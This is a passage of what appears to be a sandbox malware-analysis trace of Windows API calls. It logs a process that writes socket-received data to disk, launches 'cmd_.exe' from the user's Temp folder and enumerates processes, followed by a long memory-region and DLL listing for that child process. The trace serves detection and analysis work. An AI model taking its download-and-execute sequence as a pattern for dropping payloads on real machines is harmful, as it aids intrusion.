(in: hFile=0x4cc, lpBuffer=0x3144310*, nNumberOfBytesToWrite=0xf990, lpNumberOfBytesWritten=0x1c67d1c8, lpOverlapped=0x0 | out: lpBuffer=0x3144310*, lpNumberOfBytesWritten=0x1c67d1c8*=0xf990, lpOverlapped=0x0) returned 1 [0066.402] recv (in: s=0x49c, buf=0x3144310, len=14395, flags=0 | out: buf=0x3144310*) returned 5808 [0066.402] WriteFile (in: hFile=0x4cc, lpBuffer=0x3144310*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x1c67d1c8, lpOverlapped=0x0 | out: lpBuffer=0x3144310*, lpNumberOfBytesWritten=0x1c67d1c8*=0x16b0, lpOverlapped=0x0) returned 1 [0066.402] recv (in: s=0x49c, buf=0x3144310, len=8587, flags=0 | out: buf=0x3144310*) returned 1452 [0066.402] recv (in: s=0x49c, buf=0x3144310, len=7135, flags=0 | out: buf=0x3144310*) returned 1452 [0066.402] recv (in: s=0x49c, buf=0x3144310, len=5683, flags=0 | out: buf=0x3144310*) returned 5683 [0066.403] SetEvent (hEvent=0x368) returned 1 [0066.403] WriteFile (in: hFile=0x4cc, lpBuffer=0x3154328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1c67d168, lpOverlapped=0x0 | out: lpBuffer=0x3154328*, lpNumberOfBytesWritten=0x1c67d168*=0x1000, lpOverlapped=0x0) returned 1 [0066.403] WriteFile (in: hFile=0x4cc, lpBuffer=0x31447b8*, nNumberOfBytesToWrite=0x118b, lpNumberOfBytesWritten=0x1c67d1c8, lpOverlapped=0x0 | out: lpBuffer=0x31447b8*, lpNumberOfBytesWritten=0x1c67d1c8*=0x118b, lpOverlapped=0x0) returned 1 [0066.404] CloseHandle (hObject=0x4cc) returned 1 [0066.412] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0066.412] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.412] CoTaskMemFree (pv=0x18c780) [0066.419] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0066.419] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.419] CoTaskMemFree (pv=0x18c780) [0066.439] GetLongPathNameW (in: lpszShortPath="C:\\Users\\QJ4SUK~1\\", lpszLongPath=0x1c67cdf0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\qj4SUKboE\\") returned 0x13 [0066.439] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\AppData\\Local\\Temp\\cmd_.exe", nBufferLength=0x105, lpBuffer=0x1c67ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\AppData\\Local\\Temp\\cmd_.exe", lpFilePart=0x0) returned 0x2e [0066.440] SetErrorMode (uMode=0x1) returned 0x1 [0066.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\qj4SUKboE\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\temp\\cmd_.exe"), fInfoLevelId=0x0, lpFileInformation=0x1c67d080 | out: lpFileInformation=0x1c67d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5d9e370, ftCreationTime.dwHighDateTime=0x1d3fd7c, ftLastAccessTime.dwLowDateTime=0x5d9e370, ftLastAccessTime.dwHighDateTime=0x1d3fd7c, ftLastWriteTime.dwLowDateTime=0x6130470, ftLastWriteTime.dwHighDateTime=0x1d3fd7c, nFileSizeHigh=0x0, nFileSizeLow=0x2b800)) returned 1 [0066.440] SetErrorMode (uMode=0x1) returned 0x1 [0066.440] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0066.440] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.440] CoTaskMemFree (pv=0x18c780) [0066.441] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0066.441] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.441] CoTaskMemFree (pv=0x18c780) [0066.442] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x105, lpBuffer=0x1c67ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x0) returned 0x1a [0066.442] SetErrorMode (uMode=0x1) returned 0x1 [0066.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x1c67ccd0 | out: lpFileInformation=0x1c67ccd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x83b23af0, ftCreationTime.dwHighDateTime=0x1d31cc1, ftLastAccessTime.dwLowDateTime=0xea274050, ftLastAccessTime.dwHighDateTime=0x1d3fd7b, ftLastWriteTime.dwLowDateTime=0xea274050, ftLastWriteTime.dwHighDateTime=0x1d3fd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0066.443] SetErrorMode (uMode=0x1) returned 0x1 [0066.443] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x105, lpBuffer=0x1c67ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x0) returned 0x1a [0066.443] SetErrorMode (uMode=0x1) returned 0x1 [0066.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x1c67ccd0 | out: lpFileInformation=0x1c67ccd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x83b23af0, ftCreationTime.dwHighDateTime=0x1d31cc1, ftLastAccessTime.dwLowDateTime=0xea274050, ftLastAccessTime.dwHighDateTime=0x1d3fd7b, ftLastWriteTime.dwLowDateTime=0xea274050, ftLastWriteTime.dwHighDateTime=0x1d3fd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0066.443] SetErrorMode (uMode=0x1) returned 0x1 [0066.446] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1b7bbbe0 [0066.446] RtlMoveMemory (in: Destination=0x1b7bbbe0, Source=0x3199fe8, Length=0x5c | out: Destination=0x1b7bbbe0) [0066.446] LocalAlloc (uFlags=0x0, uBytes=0x36) returned 0x1b7c69e0 [0066.446] RtlMoveMemory (in: Destination=0x1b7c69e0, Source=0x31a3f80, Length=0x36 | out: Destination=0x1b7c69e0) [0066.965] LocalFree (hMem=0x1b7bbbe0) returned 0x0 [0066.965] LocalFree (hMem=0x1b7c69e0) returned 0x0 [0066.965] NtQueryInformationProcess (in: ProcessHandle=0x558, ProcessInformationClass=0x0, ProcessInformation=0x31a4868, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x31a4868, ReturnLength=0x0) returned 0x0 [0066.967] EnumProcesses (in: lpidProcess=0x31a48b0, cb=0x400, lpcbNeeded=0x1c67d530 | out: lpidProcess=0x31a48b0, lpcbNeeded=0x1c67d530) returned 1 [0068.218] SetEvent (hEvent=0x38c) returned 1 [0068.218] SetEvent (hEvent=0x380) returned 1 [0068.218] SetEvent (hEvent=0x384) returned 1 [0068.218] SetEvent (hEvent=0x388) returned 1 [0068.218] SetEvent (hEvent=0x398) returned 1 [0068.218] SetEvent (hEvent=0x3a8) returned 1 [0068.218] SetEvent (hEvent=0x374) returned 1 [0068.218] SetEvent (hEvent=0x394) returned 1 [0068.218] SetEvent (hEvent=0x308) returned 1 [0068.234] CoUninitialize () Thread: id = 85 os_tid = 0xbf8 Thread: id = 86 os_tid = 0x610 Thread: id = 87 os_tid = 0x5a8 [0064.783] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0064.785] ResetEvent (hEvent=0x368) returned 1 Thread: id = 88 os_tid = 0x51c [0066.448] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0066.452] ShellExecuteExW (in: pExecInfo=0x31a4568*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", lpParameters=0x0, lpDirectory="C:\\Users\\qj4SUKboE\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x31a4568*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", lpParameters=0x0, lpDirectory="C:\\Users\\qj4SUKboE\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x558)) returned 1 [0066.594] CoGetContextToken (in: pToken=0x1cc5f9c0 | out: pToken=0x1cc5f9c0) returned 0x0 [0066.724] CoUninitialize () Thread: id = 90 os_tid = 0xbfc [0068.237] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.238] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0068.239] VirtualQuery (in: lpAddress=0x1d68d5b0, lpBuffer=0x1d68e470, dwLength=0x30 | out: lpBuffer=0x1d68e470*(BaseAddress=0x1d68d000, AllocationBase=0x1cd00000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.239] VirtualQuery (in: lpAddress=0x1d68d860, lpBuffer=0x1d68e720, dwLength=0x30 | out: lpBuffer=0x1d68e720*(BaseAddress=0x1d68d000, AllocationBase=0x1cd00000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0068.244] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0068.244] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0068.244] CoTaskMemFree (pv=0x18c780) [0069.538] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0069.538] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0069.538] CoTaskMemFree (pv=0x18c780) [0069.540] CoTaskMemAlloc (cb=0x104) returned 0x18c780 [0069.540] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18c780, nSize=0x80 | out: lpBuffer="") returned 0x0 [0069.540] CoTaskMemFree (pv=0x18c780) [0069.630] SetEvent (hEvent=0x4f0) returned 1 [0069.630] SetEvent (hEvent=0x4e4) returned 1 [0069.630] SetEvent (hEvent=0x500) returned 1 [0069.630] SetEvent (hEvent=0x4f0) returned 1 [0069.630] SetEvent (hEvent=0x4e4) returned 1 [0069.630] SetEvent (hEvent=0x560) returned 1 [0069.631] SetEvent (hEvent=0x54c) returned 1 [0069.631] SetEvent (hEvent=0x514) returned 1 [0069.631] SetEvent (hEvent=0x55c) returned 1 [0069.631] SetEvent (hEvent=0x564) returned 1 [0069.740] CoUninitialize () Process: id = "6" image_name = "cmd_.exe" filename = "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe" page_root = "0x35d5b000" os_pid = "0x814" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e4" cmd_line = "\"C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe\" " cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1288 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1289 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1290 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1291 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1292 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1293 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1294 start_va = 0x400000 end_va = 0x42cfff entry_point = 0x400000 region_type = mapped_file name = "cmd_.exe" filename = "\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe") Region: id = 1295 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1296 start_va = 0x775d0000 end_va = 0x7774ffff entry_point = 0x775d0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1297 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1298 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1299 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1300 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1301 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1302 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1303 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1304 start_va = 0x620000 end_va = 0x69ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 1305 start_va = 0x74d90000 end_va = 0x74debfff entry_point = 0x74d90000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1306 start_va = 0x74df0000 end_va = 0x74e2efff entry_point = 0x74df0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1307 start_va = 0x74e50000 end_va = 0x74e57fff entry_point = 0x74e50000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1308 start_va = 0x890000 end_va = 0x98ffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 1309 start_va = 0x75290000 end_va = 0x752d5fff entry_point = 0x75290000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1310 start_va = 0x75440000 end_va = 0x7554ffff entry_point = 0x75440000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1311 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x0 region_type = private name = "private_0x00000000771d0000" filename = "" Region: id = 1312 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x0 region_type = private name = "private_0x00000000772d0000" filename = "" Region: id = 1313 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1314 start_va = 0x1a0000 end_va = 0x206fff entry_point = 0x1a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1315 start_va = 0x74e70000 end_va = 0x74e80fff entry_point = 0x74e70000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\SysWOW64\\cryptdll.dll" (normalized: "c:\\windows\\syswow64\\cryptdll.dll") Region: id = 1316 start_va = 0x75060000 end_va = 0x75073fff entry_point = 0x75060000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1317 start_va = 0x75080000 end_va = 0x750d5fff entry_point = 0x75080000 region_type = mapped_file name = "certcli.dll" filename = "\\Windows\\SysWOW64\\certcli.dll" (normalized: "c:\\windows\\syswow64\\certcli.dll") Region: id = 1318 start_va = 0x75120000 end_va = 0x7512bfff entry_point = 0x75120000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1319 start_va = 0x75130000 end_va = 0x7518ffff entry_point = 0x75130000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1320 start_va = 0x753e0000 end_va = 0x75436fff entry_point = 0x753e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1321 start_va = 0x75550000 end_va = 0x7566cfff entry_point = 0x75550000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1322 start_va = 0x758b0000 end_va = 0x758f4fff entry_point = 0x758b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1323 start_va = 0x75900000 end_va = 0x759abfff entry_point = 0x75900000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1324 start_va = 0x75d10000 end_va = 0x75e0ffff entry_point = 0x75d10000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1325 start_va = 0x75e10000 end_va = 0x75e9ffff entry_point = 0x75e10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1326 start_va = 0x75ea0000 end_va = 0x75f3cfff entry_point = 0x75ea0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1327 start_va = 0x760a0000 end_va = 0x760a9fff entry_point = 0x760a0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1328 start_va = 0x76140000 end_va = 0x76d89fff entry_point = 0x76140000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1329 start_va = 0x76e20000 end_va = 0x76e38fff entry_point = 0x76e20000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1330 start_va = 0x76f00000 end_va = 0x76feffff entry_point = 0x76f00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1331 start_va = 0x77130000 end_va = 0x771cffff entry_point = 0x77130000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1332 start_va = 0x775a0000 end_va = 0x775abfff entry_point = 0x775a0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1333 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1334 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1335 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 1336 start_va = 0x430000 end_va = 0x5b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1337 start_va = 0x75300000 end_va = 0x753cbfff entry_point = 0x75300000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1338 start_va = 0x76dc0000 end_va = 0x76e1ffff entry_point = 0x76dc0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1339 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1340 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1341 start_va = 0x6a0000 end_va = 0x820fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1342 start_va = 0x990000 end_va = 0x1d8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 1343 start_va = 0x1d90000 end_va = 0x205efff entry_point = 0x1d90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1344 start_va = 0x74e60000 end_va = 0x74e69fff entry_point = 0x74e60000 region_type = mapped_file name = "odbcconf.dll" filename = "\\Windows\\SysWOW64\\odbcconf.dll" (normalized: "c:\\windows\\syswow64\\odbcconf.dll") Region: id = 1345 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 1346 start_va = 0x75f40000 end_va = 0x7609bfff entry_point = 0x75f40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1347 start_va = 0x75c30000 end_va = 0x75cbefff entry_point = 0x75c30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1351 start_va = 0x220000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1352 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1353 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1354 start_va = 0x230000 end_va = 0x24efff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1355 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 1356 start_va = 0x74bd0000 end_va = 0x74bdafff entry_point = 0x74bd0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1357 start_va = 0x280000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1358 start_va = 0x2060000 end_va = 0x215ffff entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 1359 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1360 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1361 start_va = 0x75820000 end_va = 0x758a2fff entry_point = 0x75820000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1362 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1363 start_va = 0x74060000 end_va = 0x740dcfff entry_point = 0x74060000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Region: id = 1364 start_va = 0x74030000 end_va = 0x7405efff entry_point = 0x74030000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Region: id = 1433 start_va = 0x74d10000 end_va = 0x74d8ffff entry_point = 0x74d10000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1434 start_va = 0x2d0000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1447 start_va = 0x2160000 end_va = 0x223efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002160000" filename = "" Region: id = 1448 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 1449 start_va = 0x740a0000 end_va = 0x740d4fff entry_point = 0x740a0000 region_type = mapped_file name = "mstask.dll" filename = "\\Windows\\SysWOW64\\mstask.dll" (normalized: "c:\\windows\\syswow64\\mstask.dll") Region: id = 1482 start_va = 0x2d0000 end_va = 0x2d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1483 start_va = 0x310000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1484 start_va = 0x73e90000 end_va = 0x7402dfff entry_point = 0x73e90000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1485 start_va = 0x2e0000 end_va = 0x2e0fff entry_point = 0x2e0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1486 start_va = 0x2f0000 end_va = 0x2f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 1487 start_va = 0x2e0000 end_va = 0x2e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 1488 start_va = 0x2e0000 end_va = 0x2e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 1489 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1490 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1491 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1492 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1493 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000300000" filename = "" Region: id = 1494 start_va = 0x74bb0000 end_va = 0x74bc1fff entry_point = 0x74bb0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 